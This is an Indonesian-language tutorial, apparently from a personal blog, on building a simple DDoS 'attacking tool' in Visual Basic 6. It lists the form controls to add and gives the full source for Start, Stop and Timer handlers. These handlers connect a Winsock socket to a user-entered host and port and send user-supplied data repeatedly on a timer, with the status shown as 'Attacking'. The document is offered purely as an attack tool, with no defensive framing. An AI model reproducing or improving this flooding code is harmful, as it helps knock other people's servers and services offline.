0 Cara Membuat DDOS dengan vb6 Visual Basic 6

DDOS with visual basic 6.0

by imempj

Cara membuat Attacking tools sederhana (SEDEHARNA ANAK BANGSA):
1. Masuk ke VB.6 > Make a new Project
2. Siapkan
– 3 Text box
– 6 Label
– 2 Command button
– 1 Timer
– 1 Wsock
3. Setelah itu sobat buka Form project masukan source, contoh:

-Set Attack Button
Private Sub txtStart_Click()
    txtHost.Text = Replace(txtHost.Text, “http://”, “”)
    SocK.Close
    SocK.Connect txtHost, txtPort
    lblStatus.Caption = “Status: Connecting”
    lblSent.Enabled = False
    txtHost.Enabled = False
    txtPort.Enabled = False
End Sub
-Set Stop Button
Private Sub txtStop_Click()
    Timer.Enabled = False
    SocK.Close
    lblStatus.Caption = “Status: Disconnected”
    lblSent.Enabled = True
    txtHost.Enabled = True
    txtPort.Enabled = True
End Sub
-Set Timer
Private Sub Timer_Timer()
    If SocK.State <> 0 Then
        If lblStatus = “Status: Attacking” Then
                If Ready = True Then
                    SocK.SendData txtData.Text
                    lblSent.Caption = (lblSent.Caption + 1) <= RUBAH SOURCE DALAM KURUNG UNTUK MENAMPILKAN CAPTION SETELAH DI EXE.
                    Ready = True
                End If
        Else
            lblStatus = “Status: Attacking”
        End If
    Else
        lblStatus.Caption = “Status: Disconnected”
        Timer.Enabled = False
    End If
End Sub